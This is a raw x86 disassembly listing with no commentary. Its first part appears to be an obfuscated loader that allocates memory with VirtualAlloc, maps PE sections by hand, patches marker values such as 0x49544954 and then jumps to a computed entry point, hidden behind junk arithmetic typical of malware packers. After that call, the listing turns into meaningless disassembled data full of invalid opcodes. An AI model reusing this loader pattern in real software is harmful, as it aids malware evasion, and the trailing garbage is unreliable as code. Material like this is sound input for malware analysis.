mov dword [ebp - 0x74], eax
jmp 0x404b8e
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax]
mov dword [ebp - 0x470], ecx
jmp 0x404ba8
mov edx, dword [ebp - 0x470]
mov eax, dword [ebp - 0x470]
mov edx, dword [ecx + 0x180]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd0], eax
jmp 0x406764
cmp dword [ebp - 0xd0], 0
jmp 0x406772
jne 0x406779
jmp 0x407526
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xd0]
mov dword [eax + 0x184], ecx
mov edx, dword [ebp - 0xe4]
mov eax, dword [edx + 0x54]
mov dword [ebp - 0x3b0], eax
mov dword [ebp - 0x3ac], 0
jmp 0x4067b5
mov ecx, dword [ebp - 0x3ac]
add ecx, 1
mov dword [ebp - 0x3ac], ecx
mov edx, dword [ebp - 0x3ac]
cmp edx, dword [ebp - 0x3b0]
jae 0x406807
jmp 0x4067cb
push dword [ebp - 0xd0]
pop eax
add eax, dword [ebp - 0x3ac]
mov ecx, dword [ebp - 0xe8]
push dword [ebp - 0x3ac]
add ecx, 0x8bfdd49
sub dword [esp], 0x8bfdd49
add ecx, dword [esp]
mov dword [esp], ecx
pop ecx
mov dl, byte [ecx]
mov byte [eax], dl
jmp 0x4067a6
mov eax, dword [ebp - 0xe4]
movzx ecx, word [eax + 0x14]
mov edx, dword [ebp - 0xe4]
jmp 0x40681a
lea eax, [edx + ecx + 0x18]
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x114], 0
jmp 0x406845
mov ecx, dword [ebp - 0x114]
add ecx, 1
mov dword [ebp - 0x114], ecx
jmp 0x406845
mov edx, dword [ebp - 0xe4]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x114], eax
jmp 0x40685a
jge 0x406973
mov ecx, dword [ebp - 0x114]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0xdc]
mov eax, dword [ebp - 0xd0]
add eax, dword [edx + ecx + 0xc]
mov dword [ebp - 0x11c], eax
mov ecx, dword [ebp - 0x11c]
mov dword [ebp - 0x118], ecx
mov edx, dword [ebp - 0x114]
imul edx, edx, 0x28
mov eax, dword [ebp - 0xdc]
push dword [eax + edx + 0x10]
pop ecx
mov dword [ebp - 0x3bc], ecx
push dword [ebp - 0x114]
pop edx
imul edx, edx, 0x28
jmp 0x4068b6
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xcc]
push dword [eax + edx + 0x14]
add ecx, 0xf16bd8f2
sub dword [esp], 0xf16bd8f2
add ecx, dword [esp]
mov dword [esp], ecx
pop ecx
mov dword [ebp - 0x3b8], ecx
jmp 0x4068f6
mov dword [ebp - 0x3b4], 0
jmp 0x40690f
jmp 0x406925
push dword [ebp - 0x3b4]
pop edx
add edx, 1
mov dword [ebp - 0x3b4], edx
mov eax, dword [ebp - 0x3b4]
jmp 0x406933
cmp eax, dword [ebp - 0x3bc]
jae 0x406962
mov ecx, dword [ebp - 0x118]
add ecx, dword [ebp - 0x3b4]
push dword [ebp - 0x3b8]
pop edx
add edx, dword [ebp - 0x3b4]
mov al, byte [edx]
mov byte [ecx], al
jmp 0x406915
jmp 0x406830
mov ecx, dword [ebp - 0xd0]
mov dword [ebp - 0xec], ecx
jmp 0x406989
mov edx, dword [ebp - 0xec]
push dword [ebp - 0xd0]
pop eax
add eax, dword [edx + 0x3c]
mov dword [ebp - 0xd8], eax
mov byte [ebp - 0x3c5], 1
mov ecx, dword [ebp - 0xd0]
mov dword [ebp - 0x3cc], ecx
jmp 0x4069b8
mov edx, dword [ebp - 0x3cc]
mov eax, dword [ebp - 0xd0]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x3c4], eax
jmp 0x4069db
push dword [ebp - 0x3c4]
pop ecx
push dword [ebp - 0xd0]
pop edx
add edx, dword [ecx + 0x80]
mov dword [ebp - 0x3c0], edx
jne 0x406a01
jmp 0x406b6d
mov eax, dword [ebp - 0x3c0]
cmp dword [eax + 0xc], 0
jmp 0x406a12
jne 0x406a1d
jmp 0x406b6d
push dword [ebp - 0x43c]
pop eax
cmp eax, dword [ebp - 0x428]
jae 0x407526
cmp dword [ebp - 0x44c], 0
je 0x407526
mov ecx, dword [ebp - 0x43c]
mov edx, dword [ecx]
mov dword [ebp - 0x47c], edx
jmp 0x406fe6
cmp dword [ebp - 0x47c], 0x49544954
jmp 0x406ff7
ja 0x40704c
cmp dword [ebp - 0x47c], 0x49544954
je 0x407133
jmp 0x40700c
cmp dword [ebp - 0x47c], 0x30583058
je 0x407362
cmp dword [ebp - 0x47c], 0x30593059
je 0x407412
jmp 0x407037
cmp dword [ebp - 0x47c], 0x494c494c
je 0x4072c3
jmp 0x4074fd
cmp dword [ebp - 0x47c], 0x57575757
jmp 0x407063
je 0x407082
jmp 0x40706d
cmp dword [ebp - 0x47c], 0x59545954
je 0x407223
jmp 0x4074fd
push dword [ebp - 0x43c]
pop eax
cmp dword [eax + 3], 0x575757
jne 0x40712e
jmp 0x40709a
mov dword [ebp - 0x450], 0
jmp 0x4070b5
mov ecx, dword [ebp - 0x450]
add ecx, 1
mov dword [ebp - 0x450], ecx
cmp dword [ebp - 0x450], 0x10
jae 0x407104
jmp 0x4070c2
mov edx, dword [ebp - 0x43c]
push dword [ebp - 0x450]
add edx, 0x2801097
sub dword [esp], 0x2801097
add edx, dword [esp]
mov dword [esp], edx
pop edx
mov eax, dword [ebp - 0x444]
add eax, dword [ebp - 0x450]
mov cl, byte [eax]
mov byte [edx], cl
jmp 0x4070fa
jmp 0x4070a6
mov edx, dword [ebp - 0x43c]
add edx, 6
mov dword [ebp - 0x43c], edx
push dword [ebp - 0x44c]
pop eax
push edi
mov edi, eax
sub edi, 1
mov eax, edi
pop edi
mov dword [ebp - 0x44c], eax
jmp 0x40712e
jmp 0x4074fd
mov ecx, dword [ebp - 0x43c]
jmp 0x407146
cmp dword [ecx + 4], 0x49544954
jmp 0x407154
jne 0x40721e
mov edx, dword [ebp - 0x43c]
cmp dword [edx + 8], 0x49544954
jne 0x40721e
jmp 0x407173
mov dword [ebp - 0x454], 0
jmp 0x40719f
cmp dword [ebp - 0x454], 0x18
jae 0x4071ff
mov ecx, dword [ebp - 0x43c]
push dword [ebp - 0x454]
push dword [ebp - 0x43c]
pop ecx
add ecx, 0xa
mov dword [ebp - 0x43c], ecx
mov edx, dword [ebp - 0x44c]
sub edx, 1
mov dword [ebp - 0x44c], edx
jmp 0x4074fd
mov eax, dword [ebp - 0x43c]
cmp dword [eax + 4], 0x59545954
jne 0x4072be
mov ecx, dword [ebp - 0x43c]
movsx edx, byte [ecx + 8]
test edx, edx
jne 0x4072be
mov dword [ebp - 0x458], 0
jmp 0x40726b
mov eax, dword [ebp - 0x458]
add eax, 1
jmp 0x407265
mov dword [ebp - 0x458], eax
cmp dword [ebp - 0x458], 0x10
jmp 0x407278
jae 0x40729f
mov ecx, dword [ebp - 0x43c]
add ecx, dword [ebp - 0x458]
mov edx, dword [ebp - 0x438]
add edx, dword [ebp - 0x458]
jmp 0x407299
mov al, byte [edx]
mov byte [ecx], al
jmp 0x407253
mov ecx, dword [ebp - 0x43c]
add ecx, 8
mov dword [ebp - 0x43c], ecx
push dword [ebp - 0x44c]
pop edx
sub edx, 1
mov dword [ebp - 0x44c], edx
jmp 0x4074fd
mov eax, dword [ebp - 0x43c]
cmp dword [eax + 4], 0x494c494c
jne 0x407362
mov ecx, dword [ebp - 0x43c]
movsx edx, byte [ecx + 8]
jmp 0x4072e4
test edx, edx
jne 0x407362
mov dword [ebp - 0x45c], 0
jmp 0x407310
mov eax, dword [ebp - 0x45c]
jmp 0x407301
push ebx
mov ebx, eax
add ebx, 1
mov eax, ebx
pop ebx
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x45c], 0x10
jae 0x407344
mov ecx, dword [ebp - 0x43c]
add ecx, dword [ebp - 0x45c]
mov edx, dword [ebp - 0x430]
add edx, dword [ebp - 0x45c]
mov al, byte [edx]
mov byte [ecx], al
jmp 0x40733d
jmp 0x4072f4
mov ecx, dword [ebp - 0x43c]
add ecx, 8
mov dword [ebp - 0x43c], ecx
mov edx, dword [ebp - 0x44c]
sub edx, 1
mov dword [ebp - 0x44c], edx
mov eax, dword [ebp - 0x43c]
cmp dword [eax + 4], 0x583058
jne 0x407412
jmp 0x407379
mov dword [ebp - 0x460], 0
jmp 0x407399
mov ecx, dword [ebp - 0x460]
add ecx, 1
mov dword [ebp - 0x460], ecx
cmp dword [ebp - 0x460], 0x10
jae 0x4073cf
jmp 0x4073a6
push dword [ebp - 0x43c]
pop edx
add edx, dword [ebp - 0x460]
mov eax, dword [ebp - 0x440]
add eax, dword [ebp - 0x460]
mov cl, byte [eax]
mov byte [edx], cl
jmp 0x40738a
mov edx, dword [ebp - 0x43c]
add edx, 7
mov dword [ebp - 0x43c], edx
jmp 0x4073ee
mov eax, dword [ebp - 0x44c]
jmp 0x407400
push ebx
mov ebx, eax
sub ebx, 1
mov eax, ebx
pop ebx
mov dword [ebp - 0x44c], eax
jmp 0x407412
mov ecx, dword [ebp - 0x43c]
cmp dword [ecx + 4], 0x593059
jne 0x4074fd
jmp 0x407428
mov dword [ebp - 0x464], 0
jmp 0x407454
mov edx, dword [ebp - 0x464]
add edx, 1
jmp 0x40744e
mov dword [ebp - 0x464], edx
cmp dword [ebp - 0x464], 0x10
jae 0x407495
mov eax, dword [ebp - 0x43c]
push dword [ebp - 0x464]
add eax, 0xf3705a58
sub dword [esp], 0xf3705a58
add eax, dword [esp]
mov dword [esp], eax
pop eax
mov ecx, dword [ebp - 0x42c]
add ecx, dword [ebp - 0x464]
mov dl, byte [ecx]
mov byte [eax], dl
jmp 0x407490
jmp 0x40743c
xor eax, eax
add eax, 0x16c
movsx ecx, al
jmp 0x4074a5
mov edx, 0x7d5db21c
pushfd
add edx, 0x82a24d68
popfd
sub edx, ecx
mov eax, dword [ebp - 0x43c]
mov ecx, dword [ebp - 0xd4]
mov ecx, dword [ecx + 0x184]
mov dword [eax + edx], ecx
mov edx, dword [ebp - 0x43c]
jmp 0x4074d3
push eax
mov eax, edx
add eax, 7
mov edx, eax
pop eax
mov dword [ebp - 0x43c], edx
jmp 0x4074e6
mov eax, dword [ebp - 0x44c]
sub eax, 1
mov dword [ebp - 0x44c], eax
jmp 0x4074fd
push dword [ebp - 0x43c]
pop ecx
push ebx
mov ebx, ecx
add ebx, 1
mov ecx, ebx
pop ebx
mov dword [ebp - 0x43c], ecx
jmp 0x407521
jmp 0x406fb4
mov edx, dword [ebp - 0xc4]
push dword [ebp - 0xc4]
pop eax
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x468], eax
jmp 0x407542
mov ecx, dword [ebp - 0x468]
movzx edx, word [ecx + 0x14]
jmp 0x407550
mov eax, dword [ebp - 0x468]
lea ecx, [eax + edx + 0x18]
jmp 0x407562
mov dword [ebp - 0x46c], ecx
mov edx, dword [ebp - 0x46c]
mov eax, dword [ebp - 0xc4]
push dword [edx + 0x5c]
add eax, 0xb59883d0
sub dword [esp], 0xb59883d0
add eax, dword [esp]
mov dword [esp], eax
pop eax
mov dword [ebp - 0xc0], eax
push dword [ebp - 0xc0]
pop ecx
mov edx, dword [ecx + 0x188]
call edx
jmp 0x4075c9
jbe 0x407a30
test dh, dl
lahf
invalid
nop
test eax, eax
pop ebp
push edi
or byte [ebx - 0x7bf00b02], al
jmp 0x40802a
fdiv dword [esi + 0x4e]
or bl, byte [edx]
ret 0
mov al, 4
adc al, 0xff
ja 0x407a8b
nop
cmpsd dword [esi], dword es:[edi]
add bh, bh
nop
mov dword [ebp - 0x18], esp
jge 0x407a5e
mov dword [eax], edx
pop eax
jb 0x407ae0
push es
and al, byte [ecx]
test dword [ebx], edi
add byte [eax], al
and dword [ebp - 0x28], 0
jbe 0x407a1f
cmp eax, dword [eax]
add byte [ebx + 0x7600d865], al
mov esi, dword [esi + 0x61]
jbe 0x407af7
add al, byte cs:[eax]
add byte [esi], ch
inc ecx
jne 0x40a76a
mov edi, edi
nop
mov eax, edi
mov ecx, dword [ebp + 0x10]
cdq
or eax, 0x9090761a
add byte [eax + 0x7c850f02], ch
add byte [ebx + 0x8458b0e], cl
pop dx
jbe 0x407ac9
pop ebx
test byte [eax], 0x20
nop
add dword [eax], eax
add byte [esi], dl
or byte [ebx + 0x56], dl
sub al, 5
xchg ecx, eax
ja fcn.00407b1f
mov eax, dword [esp + 0xc]
adc byte [edi + 0x77], dl
push esp
add byte [ebx - 0x1fba76fa], cl
sbb dh, byte [esi - 0x70]
jbe 0x407a72
je 0x407b11
adc edx, 0
jbe 0x407b59
add byte [eax + 0x7c850f02], ch
nop
nop
mov ebx, dword [ebp + 0x14]
nop
push ds
nop
jbe 0x407a88
add eax, 0x90909090
nop
nop
nop
nop
lodsb al, byte [esi]
push eax
push eax
cmp eax, 0x80000002
rcr byte [edi + 0x5e], 0x5b
sub eax, 0x2dc3aa76
pop esp
add byte [esp], bh
cmp al, 0x24
les eax, [eax]
nop
add byte [eax - 0x6f6f6f70], dl
nop
jne 0x407b3b
push 2
add byte [ebp + 0x4c8b0049], cl
push esi
add byte [ebp - 0x70], dl
jbe 0x407b78
ja 0x407af9
das
jbe 0x407af4
pop edx
cmp edi, esi
pop ecx
ja 0x407bbf
ja 0x407bd3
mov al, 0xa2
push ebp
add byte [0x42f242], bh
push ebp
ja 0x407afa
adc al, 0x33
nop
nop
ja 0x407bf9
pop ecx
nop
add bl, byte [edx]
nop
add esi, dword [ebp + edx*2 - 0x18]
ja 0x407c28
nop
xchg ebp, eax
test byte [eax + 0x24], 2
add dword [edi - 0x97afffd], edi
mov dword [esi + 0x28], eax
jbe 0x407c1e
inc esi
sub byte [esi + 0x47], dh
pop ebx
mov dword fs:[esi + 0x28], eax
test dword [ebx], edi
push esi
nop
or byte [edx], ch
inc ebp
sub eax, 0x2fda2d76
xor cl, byte [ebx + 0x8c87]
leave
ror byte [0xb04761a], 0x3c
pop ecx
add byte [eax], al
push esi
pop ebx
jne 0x407e72
jbe 0x407e5f
inc dword [eax + 0x38]
inc dword [ebx - 0x70]
inc eax
cmp bh, bh
inc ebx
nop
adc cl, byte [ebx - 0x72172e3f]
fcom qword [ecx - 0x73]
sbb byte [0x428a31], dl
mov eax, dword [ebp - 0xc0]
add byte [eax], al
jbe 0x407e79
inc edx
add byte [ebx - 0xbf7b], cl
inc dword [eax]
add byte [esi - 5], dh
xor byte [esi - 0x1b], dh
nop
mov esp, 0x9520775b
nop
dec eax
dec esp
add al, 0x8b
cld
nop
sub eax, 0x2de36576
pop ss
add byte [eax], al
nop
dec edi
ja 0x407e5a
add byte [eax], al
pop eax
nop
jbe 0x407ec7
sub eax, 0x2de27376
cld
lds eax, [esi + ebp]
push ebp
jne 0x407eb8
or al, 0xe8
call 0x407ebd
push esp
pop ecx
add byte [eax], al
add byte [eax], al
jne 0x407e97
add byte [ebp - 0x24], dh
nop
nop
sbb al, 0x3c
push eax
wait
nop
add byte [eax], al
jbe 0x407ef6
push esp
xor eax, ebp
add byte [eax], al
push ebp
jbe 0x407ed5
nop
mov ebx, 0xcfad762d
nop
nop
mov ebp, esp
mov edx, dword [esp + 8]
stosb byte es:[edi], al
jmp 0x40a646
add al, 0x8d
jo 0x407f1e
invalid
nop
nop
nop
nop
fisttp dword [ebx]
ret 0xf01
push ds
adc eax, 0xaa762db5
add al, 0xb8
jbe 0x407eb8
jbe 0x407f13
nop
ror dword [ecx - 0x3f7a03bb], cl
or byte [eax - 0x18], dl
hlt
nop
nop
pop eax
loope 0x408009
add eax, dword [eax]
xchg esi, eax
stc
or al, 2
jbe 0x408013
push ebp
and eax, 0x761a0958
dec edi
sbb dh, byte [esi + 0x4f]
mov dword [0x16f0775c], eax
ja 0x407fdf
push ss
push ebp
push ebp
push ebp
add byte [ebx], dh
je 0x408abe
add byte [eax], al
test byte [eax], 0x49
pcmpeqd mm5, mm3
add dh, dh
add byte [ecx + 0xf], cl
jbe 0x407fed
jmp fcn.00404dc4
sub eax, 0x1843b
call 0x343b6e36
rcr byte [edx + ebp*2], 0x2d
jbe 0x407ffa
cmp eax, dword [ecx + eax - 0x11db1800]
cli
xor eax, eax
sbb al, 0x6a
sub eax, 0x2d75e276
jne 0x408047
jbe 0x40802c
add eax, 0x9d5762e
rcr dword [ebx - 0x473088a4], 1
test dword [edi], edx
nop
xor eax, 0x76260318
mov eax, 0x537756fa
add esp, dword [esi]
jbe 0x407fe8
cli
push esi
ja 0x408087
add ch, byte [esi]
ja 0x408008
nop
popal
nop
push 0x761a18b8
ja 0x408065
je 0x403fe0
call [eax + 0x1a]
jbe 0x407fd7
pop eax
sbb dh, byte [esi - 0x75]
xchg esp, eax
ja 0x4080b6
add byte [ebx - 0x7bf00a08], al
add byte [eax], al
jbe 0x4080a1
xor byte [esi - 0x5c], dh
pop edi
jae 0x408094
jge 0x408077
test bh, bh
sub dword [esi], 0x76
sub esp, eax
push esi
je 0x408076
test dword [0x761a084c], esp
mov ebp, esp
nop
add byte [eax], al
and byte [edi + 0x77], dl
mov edi, edi
cmp ebx, esi
dec esi
mov esi, 0x9004762d
nop
add byte [ebx], al
ljmp 0x58a7
adc al, 0x59
ja 0x408109
jno 0x408040
cmpsd dword [esi], dword es:[edi]
pop eax
jbe 0x4080a0
add al, 0x77
sub al, 0x77
sbb al, 0xf0
ja 0x4080ca
ja 0x4080bc
lock or byte [edx], bl
or byte [edx], bl
test eax, eax
pop eax
add byte [eax], al
fld dword [eax]
not byte [eax + 3]
ror byte [edi], 0x8c
sbb dh, byte [esi + 0x66]
nop
call fcn.00408eb1
sub eax, 0x2e2edb76
and eax, 0x761a0904
jbe 0x408097
and eax, 0x761a0904
dec ebp
push es
push eax
cmp edx, dword [esp + 0xc]
jbe 0x408055
nop
adc dword [0x40d8e2], esi
jge 0x4080ba
and dword [ebp - 0x2c], 0
mov ebp, esp
add byte [ebp - 0x457af040], al
inc esi
ja 0x408129
nop
sub eax, 0x76
nop
les edx, [eax - 1]
nop
jbe 0x408082
jbe 0x40811d
inc ebp
push edi
and al, 0xb
add cl, byte [ebx - 0xbf7b]
ja 0x40809b
mov edi, edi
dec edi
nop
dec dword [edi - 0x70]
ror dword [ecx - 0x3f7a03bb], cl
js 0x408101
sar byte [eax - 0xb], 0x9e
sahf
sbb dh, byte [esi - 0x70]
call fcn.00407f60
shl byte [edx], 0x57
pop esp
mov ecx, 0xb4762e01
add byte [eax - 0x6f6f6f70], dl
mov ah, 0
nop
nop
nop
nop
nop
nop
push edi
pop eax
dec ebp
das
pop ecx
add byte [eax], al
sub eax, 0x2dc4f176
nop
pop es
jne 0x40a4e2
and al, 0
push ecx
sub eax, 0x2dea7a76
pop ebx
pushal
push es
jbe 0x4080f8
add dword [eax - 0x3e], eax
ja 0x4080f5
movsb byte es:[edi], byte [esi]
sbb dh, byte [esi - 0x70]
push ds
mov edi, edi
ja 0x40818f
pop ebx
nop
add al, 0
ja 0x4081cb
invalid
invalid
hlt
sbb dword [eax + 0x77], 0x69
leave
iretd
xchg edx, eax
mov dl, ch
ja 0x40815b
xor al, 0x7e
aaa
add byte [ebp - 0x74a91fa3], cl
nop
nop
jbe 0x408125
mov word [ebx - 0x75000000], fs
je 0x4083ce
add byte [ebx + 0x3e1384e], cl
and al, 0x61
push edi
add byte [ebx - 0x7bf00908], al
ja 0x4081ce
mov ecx, dword [esi + 0x38]
loope 0x4081b6
cwde
nop
mov edi, 0x761a2410
add al, 0xc2
push ecx
nop
nop
mov eax, dword [edi + 0x8c]
xchg dword [eax + eax - 0x6f8a0000], ecx
add byte [eax], al
jbe 0x408162
ja 0x408166
nop
dec ecx
sbb dh, byte [esi - 0x7b]
add bh, bh
dec eax
ja 0x40825a
nop
push ecx
wait
cmp dword [0x4256e7], esi
ja 0x4081e1
jbe 0x40820f
push dword [esi - 4]
jbe 0x40820e
add dword [esi], esp
invalid
push edi
lea eax, [ebp - 0x1c]
push eax
retf
das
jbe 0x4081ad
in al, dx
cli
hlt
jne 0x408248
test esi, esi
fadd dword [eax]
inc esi
mov ecx, dword [esi]
jmp 0x40823a
nop
lea ebx, [edi + esi*2 + 0x7e]
sub eax, 0x2da47c76
jbe 0x4082a7
jbe 0x4082c2
jns 0x40820e
les eax, [edx]
xor byte [ebx - 0x7cfff79b], al
dec esi
jbe 0x4081e7
add dh, byte [eax]
and dword [ebp + 8], 0
or dword [esi + 0x2e], 0x76
xchg edx, eax
xor eax, 0x5971762f
and byte [edx], dh
jbe 0x4082d8
jbe 0x408244
jne 0x40828f
ja 0x408270
dec ecx
nop
push edi
ret
dec byte [edx + 2]
pop ecx
je 0x402abf
inc dword [ebx + 0xc2403fa]
cmp edx, 3
and al, 0xc
jbe 0x408216
push edi
jbe 0x408249
nop
rol byte [eax], cl
pop eax
adc cl, byte [ebx - 0x72172e3f]
das
mov byte [edx + 0x77], bl
mov ebp, esp
pop edx
ja 0x40821d
in al, dx
push 0x662c4689
nop
push ds
sbb byte [ecx + 0x4e8b1848], cl
pop ecx
inc ebp
ja 0x40822a
pop ebp
sal dword [ebx - 0x2d], 1
nop
jbe 0x4082ba
rcl dword [eax - 0x2c14f08a], cl
test dword [edi + edi*8 - 1], ecx
pop eax
add bh, dh
and al, 8
nop
sar byte [eax + 3], 0xc2
push ebp
push esi
jbe 0x4082c8
jmp 0x408280
ret 0x5655
mov al, byte [0xa2f0762f]
call 0x4041f5
cmp eax, 0x761a042c
nop
nop
dec eax
jbe 0x4082fd
invalid
invalid
mov esp, 0x9a337758
inc edi
ja 0x408276
add eax, dword [eax]
je 0x401d5d
test byte [edx - 0x66], bh
invalid
add dl, byte [edi + 0x77]
nop
shr byte [esi], 0x76
nop
ror byte [edi], 0x85
mov eax, dword [edi + 0x50]
ror byte [edi], 0x85
loopne 0x40834d
inc eax
nop
pop ss
dec edi
jbe 0x408351
push esp
ja 0x4082fc
nop
push ebp
pop ebx
cmpsd dword [esi], dword es:[edi]
das
xor bl, byte [ecx + 0x77]
ja 0x408384
shl dword [esi - 0x59c189d3], 0x2d
sub eax, 0x2da63e76
add byte [eax], al
dec ebp
mov ebp, esp
jbe 0x408379
nop
add byte [eax], al
nop
test ch, dh
and dword [ebx + 0x6b247758], edx
mov byte [eax], al
pop ebx
add byte [eax - 0x6f6f6f70], dl
nop
nop
nop
nop
mov ebx, dword [edx + 0x77]
nop
add byte [edi], cl
mov dword [eax + 0x32], ecx
mov dword [ebp - 0xb0], edx
cmc
push ebp
and byte [edi + 0x77], dl
push esi
popfd
invalid
ja 0x40834f
jbe 0x4083a9
add byte [esi], 0x4b
jne 0x40837a
jbe 0x4082de
push edi
or dword [edx], ebx
ja 0x40836c
mov ebp, 0xc14e762d
dec ebx
or al, 0x56
nop
nop
jbe 0x4082ea
ja 0x4082fd
sub eax, 0x2d7d1676
ror byte [ecx], 1
xchg ecx, eax
ja 0x40836a
nop
adc bh, bh
jbe 0x40830b
nop
ja 0x4083a1
and al, 0
call dword [eax + 0x48a47630]
add bh, bh
nop
xor byte [esi - 0x5c], dh
dec eax
jbe 0x40839e
nop
test dword [eax - 1], eax
nop
add byte [eax + 0x3b850f02], ch
nop
xor byte [esi + 0x22], dh
nop
and eax, 0x761a0be8
add byte [eax + 0x516e840f], al
test byte [esi + 0x51], ch
outsb dx, byte [esi]
push ecx
jbe 0x408328
stc
sar dword [ecx + 0x762d], 0
mov ecx, 0x762d
add byte [0x761a09c8], ah
add byte [eax], al
and eax, 0x761a09c8
ja 0x408332
nop
and dl, byte [edi + 0x77]
push 0x761a2768
cmp dword [edx + 0x1b74775b], eax
nop
je 0x408588
pop ebx
ja 0x408434
sbb edx, dword [eax + 0x1c0840f]
add byte [eax], al
pop ecx
sub eax, 0x2db64276
ja 0x40837c
xor dword [ebp - 4], eax
inc ecx
pop es
add eax, 0xf907757
jbe 0x4083a4
nop
nop
jbe 0x4083bd
nop
jo 0x4083a5
ret 0x840f
je 0x4099ec
or byte [edx], ch
idiv byte [ecx]
pop esp
xchg esp, eax
jbe 0x408441
dec edi
xor byte [esi + 0x29], dh
add byte [eax], al
push 0x76260318
and al, 0x89
sbb byte [eax], dh
adc al, 0x13
push ebp
rol byte [eax], cl
push eax
mov ecx, dword [ebp - 0x20]
sbb al, 0xff
add al, 0x64
jbe 0x40839f
ja 0x4083b6
dec edx
mov edx, dword [esp + 8]
nop
pop ebp
je 0x409c03
add byte [ebx - 0x21c4e7a3], cl
mov ebx, dword [ebp + 0x18]
cmp ebx, esi
rol byte [eax + 0x5d], 0xc2
and eax, 0x761a0908
ja 0x408434
ror byte [edi], 0x8c
jbe 0x4083f1
invalid
push ecx
or byte [eax], al
and dword [ebp - 0x30], 0
rol byte gs:[eax], 1
add byte [eax], al
nop
jbe 0x408441
nop
nop
aad 9
mov dword [ebp - 0x40], 0x18
sbb byte [eax], al
add byte [eax], al
loopne 0x40844f
std
call fcn.004084fe
ja 0x4084ae
stosd dword es:[edi], eax
add byte [eax], al
add byte [edi + 0x59], dh
push edi
jbe 0x408463
push edi
ja 0x4083e2
nop
mov dword [eax], edx
mov eax, dword [ebp + 0x14]
sbb byte [eax], al
adc byte [ebx + 0x181445], cl
sub dword [esi], ebp
jbe 0x40841f
dec ebp
jns 0x408418
popal
add dword [eax], eax
rcr byte [ecx + 0x30], 1
cmp eax, 0x80000050
add al, dl
pop ecx
xor byte [0x80000050], bh
ja 0x408438
jbe 0x40843e
clc
nop
jge 0x40848e
leave
adc byte [ebx - 0x7bf0fc06], al
cld
cld
jl 0x40846d
jne 0x40472e
call [eax + 0x44]
pop eax
inc esp
push ebp
jbe 0x408431
lea ebx, [eax + 0x77]
add al, 0
lodsb al, byte [esi]
push ebp
or al, 0x8b
jbe 0x408463
ja 0x40845d
push ecx
call fcn.00407b83
cld
dec edx
popal
lcall 0x10bf, 0x16a0000
test byte [esi - 0xa], 0x45
add dword [edi - 0x9b909f0], edi
inc ebp
or byte [ebp - 0xaf07bb], cl
mov edi, edi
clc
inc edi
ja 0x408447
xor ebx, 0x788bffff
adc bh, bh
mov eax, dword [ebp + 0xc]
sbb dh, byte [esi - 0x70]
mov ebp, esp
das
test al, 0xf
sub eax, 0x2dde9476
jbe 0x40846c
sbb al, 0x3c
push edi
or al, ch
je 0x4039cc
push ecx
ret 0x18
dec esp
add byte [eax], al
ret 0x5a22
and dword [ebp - 0x30], 0xffffffdb
push edi
lea ebp, [eax - 1]
ja 0x408af9
test eax, eax
xor byte fs:[ecx + 0x77], bl
push ecx
ja 0x408af3
pop ebp
jmp 0x40a618
push 0
fsubr st(2)
nop
das
pop eax
ja 0x408a76
or byte [edi], 0x85
pop ebx
sub al, 0x1b
lodsb al, byte [esi]
push edi
or al, 0xf0
inc ebp
adc bh, bh
pop eax
sub eax, 0x2dfb1376
dec edi
and dl, byte [edi + 0x77]
mov edi, edi
shl dword [ecx], 0x2e
or byte [ebx - 0x7cf00b02], al
jmp 0x408b11
add byte [eax + 0x2b771477], dl
pop esp
pop ebp
invalid
xor eax, 0xc050777
jbe 0x408ada
mov ecx, dword [esi + 0x38]
mov dword [eax + 0x20], ecx
mov edi, edi
pop eax
pop ebp
jbe 0x408b88
add byte [eax - 0x6f6f6f70], dl
nop
add byte [esi], cl
or al, ch
mov dword [ebp - 0x1c], edi
ret 0x14
mov eax, dword [eax + 0x30]
clc
or al, 0x89
test dword [ecx + 0x12], esp
pop ebp
jbe 0x408b99
cmp dword [esi], 0xd58a7758
mov dl, ch
push ebp
jmp 0x409b6c
push ecx
rol dword [ebx + 0x3b5900d2], 0xd1
nop
adc eax, 0x66677757
aad 0xb1
nop
add byte [esp], bh
add dword [eax - 0x3e], ecx
ret 0x28
mov edi, edi
add byte [eax], al
popal
sbb dh, byte [esi - 0x70]
xchg edi, eax
jo 0x4097e2
das
mov bh, 0x2d
or byte [edi], cl
dec esp
jbe 0x40981a
nop
pop ebp
nop
nop
nop
pop ebp
mov edi, edi
push ebp
nop
nop
add byte [eax], al
add byte [eax], al
nop
nop
mov byte [esi - 0x6ffb89d3], bh
add al, 0x90
pop es
add byte [eax], al
test al, 2
add byte [eax], al
jg 0x4097d1
and bl, byte [edx]
lea eax, [ebp - 0xb8]
movsb byte es:[edi], byte [esi]
ja 0x409808
dec eax
invalid
jbe 0x40984f
pop ecx
ja 0x4097dd
pop edi
add cl, byte [ecx + 0xc458b37]
mov eax, dword [ebp + 0xc]
or al, 0x89
cmp byte [edi + 0x48], dl
mov dword [eax], edi
push edi
dec eax
add bh, bh
sub eax, 0x76
pop eax
pop esp
nop
int3
mov byte [0xac762dee], al
add al, ch
add byte [ebx - 0x1fba76fa], cl
pop ebp
ja 0x409872
ja 0x409874
jbe 0x40981d
jmp 0x4097f9
mov esi, 0x8b000340
add al, 0xf
add eax, dword [eax]
mov eax, dword [edi + ecx]
adc bh, bh
push ebp
nop
and bl, byte [edx + 0x77]
ja 0x409818
inc ebp
dec ebp
sub eax, 0x4d775ad8
and eax, 0x761a056c
nop
or byte [ebp - 0xaf07bb], cl
lea edx, [eax + ecx]
mov dword [edx], eax
ja 0x4098a1
nop
mov bh, 0xf
nop
cmp eax, 0x80000050
cmp eax, 0x80000002
mov ebp, esp
push eax
add byte [eax], al
cmp byte [0x80000002], 0x8b
in al, dx
jne 0x4098be
adc byte [eax - 0x70], bl
pop eax
nop
add eax, 0xc1762e0c
loopne 0x409842
and dword [ebp + 8], 0
and dword [ebp - 0x79f889d3], ecx
test dh, ch
adc ebp, dword [esi]
pop eax
jbe 0x4098d3
jbe 0x4098c7
xchg byte [esi + ebp*8 + 0x76582e13], al
or ebx, dword [edx - 0x7b]
pop edx
test dword [eax + 0x77], ebx
add eax, ecx
push eax
nop
pop eax
